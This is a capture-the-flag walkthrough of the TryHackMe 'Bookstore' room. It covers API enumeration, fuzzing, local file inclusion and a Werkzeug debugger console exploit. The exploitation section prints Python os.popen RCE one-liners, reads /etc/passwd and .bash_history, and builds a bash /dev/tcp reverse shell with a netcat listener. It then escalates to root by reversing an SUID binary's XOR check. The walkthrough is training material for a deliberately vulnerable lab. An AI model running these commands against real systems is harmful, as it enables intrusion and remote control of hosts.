BOOKSTORE WALKTHROUGH – TryHackMe

https://tryhackme.com/room/bookstoreoc

Overview : This room is a beginner level room that can be used to understand how to enumerate and exploit a REST API. Quoting the room desinger, *“Bookstore is a boot2root CTF machine that teaches a beginner penetration tester basic web enumeration and REST API Fuzzing. Several hints can be found when enumerating the services, the idea is to understand how a vulnerable API can be exploited.”*

Enumeration : As always in order to understand what services we are working with, we need to initiate a port scan. As with my previous write-ups discussing the usage of a automation tool called Autorecon, we again make use of it and verify the results using a individual Nmap scan.

```
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)
| 256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)
|_ 256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 834559878C5590337027E6EB7D966AEE
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store

5000/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
| http-robots.txt: 1 disallowed entry
|_/api </p>
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: Home
```

Looking at our running services, SSH is running on its default port along with a HTTP web server and some unknown web service running on Port 5000. We can ignore the SSH port for the time being as that is rarely the obvious target.

Navigating to the website running, we find its purpose is … a bookstore. None of the links are clickable except the Books and the Login links. The source code does not list anything interesting aside from the directory assets which just contains fonts, CSS and Javascript used for the page.

The Books page just contains a list of available books and does not seem to have anything at surface level. Taking a look at the source code, reveals a encoded string. Running it through CyberChefs magic function reveals a YouTube link that is a … rabbit hole.

The Login page has its sign-up functionality disabled. We do not have any credentials that we could try to use. We check the source code for any developer comments and we find an interesting comment talking about a user and a debugger pin. We have a potential user but the talk about the debugger pin makes little sense. Lets keep moving and store that for later.

We decide to run a directory brute force along with any files using Ffuf to see if there is anything hidden.

ffuf -w directory-list-medium-2.3.txt -u http://bookstore.thm/FUZZ -c -t 100 -of md -o Bookstore_Fuzz

While the scan is running, as we are dealing with a website, lets proxy the traffic through Burp in order to see is happening under the hood. Adding http://bookstore.thm to the Target > Scope tab, we start to navigate the website from the home page. Looking at the HTTP history, only a single GET request is made for the homepage. When we make a request to view the Books page, a entirely different request is sent. A request is sent to port 5000 where it looks like a API exists. When the login page is request and a login attempt is made, no API call is made. It looks like this API is only to be used to fetch information concerning the books.

We can use Burpe for this part if we are comfortable with it. Otherwise a browser also works well. In Burpe, forward the API request to the repeater. Modify the request to be only to /api . After getting a response we see the software running on the server and its version. We find some Documentation for the API and the different endpoints. Some of the endpoints contain parameters that depend on user input. Maybe an Injection flaw is possible here?

We see the endpoint that was made in our initial request, ***/api/v2/resources/books/random4***. Looking at the documentation, we see that its purpose is retrieve 4 random records from the documentation. Other endpoints reveal all the books that are available and queries that fetch books based on the id, Author or the year published or both.

Recap :

> We have a software name and version
> We have parameters that may be susceptible to SQL, OS command Injection or File inclusion.

Lets check out the Software version and see if there are any public exploits. Google Dorking, we find that there is a vulnerable version. This next part was a bit of messing around, where I happened to stumble upon a clue. Sometimes even though the reported version is vulnerable, there are times the patch is not effective and can still be exploited. Checking Metasploit for a exploit gave results. There even was a check option to see if the target is vulnerable. Filling in the options revealed and running the *check* command revealed the server to be vulnerable. Okay. Its a different version, maybe its a false positive but no harm in trying. The exploit ran but no session was created. I checked the options just in case I made a mistake. It was then that I noticed that there is a TARGETURI that points to /console.

We did not find a /console mentioned in the Documentation. Navigating to the directory on the API port revealed a Console that was locked … with a debugger pin … that was mentioned to be in a users bash_history. Okay, things are making a bit of sense.

Doing a bit of research, it seems that locking the console with a PIN was a patch to this previously exploited vulnerability. There are methods to reverse the PIN and they mostly mention having to read a particular file located in a location which is dependent on the system. Read a particular file … this is a hint at either a command injection or file inclusion. Okay lets try attack the API endpoints for Local file Inclusion.

Using the LFI-Jihhadi.txt wordrlist along with ffuf, we start to fuzz for file inclusion using the provided payloads.

ffuf -u http://bookstore.th:5000/api/v2/resources/books?id=FUZZ -w LFI-Jhaddix.txt -c -of md -o Bookstore_Id_fuzz -t 100

Its advised to try with different word-lists as they have different payloads. This was unsuccessful so we tried again but with the author and the published parameter. Again, no success. We then notice that this api is v2. Maybe there is a Improper Assets management vulnerability and there is a outdated version of this API running. In Burp, exchanging v2 for v1 we still get the correct response. Just confirming that this is not the default behavior, we send a request with v4 and we get a 404 NOT FOUND error. So, we have a outdated API version running.

Lets look for hidden parameters again before fuzzing for LFI.

ffuf -u http://bookstore.th:5000/api/v1/resources/books?FUZZ=1 -w burp-parameter-names.txt -c -of md -o Bookstore_v1_param_fuzz -t 100

This is successful and we find a hidden parameter. It generates a server error. Using the parameter in Burp with the request header set to v1 we see a large amount of data is returned. The error generated, claims the filename is not found. Seeing as our parameter value was 1 and 1 is clearly not a file name that was being expected by the application, this looks like the cause of the error.

We try change the value to raw */etc/passwd* and … we have successful LFI. Looking at the users of the system, we have Sid as a user. The LFI vulnerability fetches a file from any location without having to traverse back which is helpful as we can simply enter *.bash_history* file in order to read it.

```
GET /api/v1/resources/books?$param=.bash_history
```

We find the PIN.

Exploitation: Navigating to /console we enter the PIN in the same format and we are provided with a Python debugger console. It looks like we are able to carry out python commands. Previously, in our research for vulnerabilities or exploits that targeted the mentioned software version we came across a page that offered some RCE commands for the console. https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug

```
__import__('os').popen('whoami').read();
```

We can perform some basic enumeration such as *id*, *pwd*, *ls*. We find the user.txt file and we get the first flag. It would be better if we could have a shell on the system. Running python commands produces errors which I did not want to try fixing due to my limited knowledge of Python. But seeing as using the first command we can execute bash commands, lets try and see if we can create a file on the system and then execute it.

Listing the files in the directory, we see there is a api.py file. Assuming this is a real life engagement and we want to remain unnoticed, we create a file using

```
__import__('os').popen('touch api.sh').read();
```

Running a listing again we find that the file exists. Great. We can create our bash script by running the following commands in order.

```
__import__('os').popen('echo "#!/bin/bash" > api.sh').read();

__import__('os').popen('echo "bash -i >& /dev/tcp/$your_ip/$your_port 0>&1" >>
api.sh').read();
__import__('os').popen('chmod +x api.sh').read();
```

Set up a netcat listener on your machine using

```
rlwarp nc -lnvp $your_port
```

Now lets execute the script

```
__import__('os').popen('./api.sh').read();
```

If all was done correctly, you should now have a reverse shell on your machine. Much better.

Post-Exploitation: In the users home directory, there is a SUID binary that when executed requests a magic number. A magic number is a sequence of hex characters that are used to define the type of file, whether it is a PNG, GIF, ELF, PDF etc. We can use three utilities that are installed on the system. *File*, *strings* and *xxd*.

file shows what type of file is being used.
strings will print the sequence of printable characters that are in a file.
xxd will print a hexdump of a given file. It can also dump a hex into its original binary form..

Running ***file*** on the binary we see were working with a ELF file.

```
xxd $binary | head
```

|__ head : prints the first 10 lines part of a file in this case the output of the hexdump from xxd

Entering the magic numbers does not unlock the binary. Researching the magic numbers of an ELF; none of the results work. We decide to look for any strings in the binary that can give us any clue on how the binary works. It looks like the binary was written in python judging from the function format? (feel free to correct me). We do not get any other clue. As this is a binary, lets see if we can reverse engineer it and see if the magic number is hard-coded into the it. Maybe the source code is using a function to compare our input when we enter it.

We will have to use Ghidra; a suite of tools for reverse engineering. In order to get a quick overview of how to perform some basic reverse engineering the following link can help.
https://medium.com/swlh/intro-to-reverse-engineering-45b38370384

We have to first move the binary onto our system. We do this by starting a python HTTP server on the machine. We then download the file onto our system using *curl, wget* or any other utility we are comfortable with. On the target machine

```
python3 -m http.server 8000
```

Running on a port above 1234 negates having to use root privileges; which we do not have at the moment.

Opening the binary in Ghidra and navigating to the main function under Symbol tree, it is easy to see that the binary is a bash script that when the correct magic number is entered will create a bash shell as the root user. (https://gtfobins.github.io/gtfobins/bash/#suid The magic number is not initially obvious by it looks like XOR encryption is in use. XOR encryption is a type of symmetric encryption and therefore is reversible.

Reading the script, we have the some of the values that are used in the encryption. The value being compared is the product of the encryption

The original algorithm is

local_14=local_lc ^ 0x1116 ^ local_18

We have the value of local_14 , local_18 and 0x116. What we do not have is the value of local_lc. We can reverse the algorithm to find the value of local_lc

local_lc = 0x1116 ^ local_14 ^ local_18.

Python is a useful language and it can calculate the answer for us.. Opening Python3 directly we enter our values into the console which provides us with the magic number which opens up a root shell for us. We can now go into the /root folder and read the final flag.

Room complete.